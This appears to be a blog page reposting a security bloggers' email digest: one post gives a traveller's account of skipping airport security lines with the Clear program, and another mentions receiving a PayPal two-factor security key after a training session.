I thought that with my background check and all, they knew that I was a low risk for terrorist or other type of activity and therefore would not be subject to the same scrutiny and testing that we all endure when we have to fly. Turns out that I don't think that is exactly the case. However what it does do is allow you to go right to the front of the line in security, much to the dismay of others waiting on those lines. The experience was great. I went to a special entrance for Clear members where I was met by a very helpful young lady. She escorted me to a Clear machine where we inserted my card and did a fingerprint scan. After that was done she escorted me to another young lady who walked me past all of the people waiting on line (and a long line it was). At the head of the line, the Clear lady gave my boarding pass and ID to the TSA person. The TSA person checked my id and pass, same as always and they passed me through. Than my Clear escort brought me to a special metal detector line which had no one on it, just waiting for me. Again skipping another line. I put my computer and other metal objects in the same old grey bin, took off my shoes and went through the metal detector. I thanked the Clear escort came out the other side, scooped up my stuff and proceeded to my gate. The entire process took less than 3 minutes I bet! That was great! The looks on the faces of the people I bypassed on line also gave me a perverse pleasure as well, I will admit. After finishing this though I sat down and thought about it. What security did bypass? They still checked my ID and boarding pass. I still went through the metal detector and took off my shoes. In fact if anything security was added to my check in, as they now did a fingerprint match. So fact is, with all of the background checks and everything, having the Clear program did not relieve me of any security obligations and tests. In fact it added to them. What it did give me was a "first class" personal escort to the front of the line and than a first class que for the metal detectors. Because I was willing to pay some money and have a background search, I got the first class treatment. To me this is not a scalable solution. As more Clear passengers come on board, having a dedicated person walking me through the security line is just not going to work. Also, lets be clear (no pun intended), this is not about going through less security. Why the background check and all? This is about paying money and skipping the line, but still going through the same security procedures that everyone else goes through. Just faster. Hey, don't get me wrong. I loved it! But I was wrong to think this was about bypassing security, this is a "first class" traveler lane. As long as you are "clear" with that, it is good by me! |
I finished a great training session today. Everyone in the class really enjoyed the entertainment and several people described me as “animated” and “high energy”. I hope that’s a good thing and I didn’t overdo it on the coffee. One of the participants offered me a complimentary PayPal Security Key. These are basically Verisign key fobs used for two-factory authentication. These retail for about $15-20 but PayPal sells them at cost for about $5.
| You are subscribed to email updates from Black Hat Security Bloggers Network To stop receiving these emails, you may unsubscribe now. | Email Delivery powered by FeedBurner |
Inbox too full?  Subscribe to the feed version of Black Hat Security Bloggers Network in a feed reader. | |
| If you prefer to unsubscribe via postal mail, write to: Black Hat Security Bloggers Network, c/o FeedBurner, 20 W Kinzie, 9th Floor, Chicago IL USA 60610 | |
No comments:
Post a Comment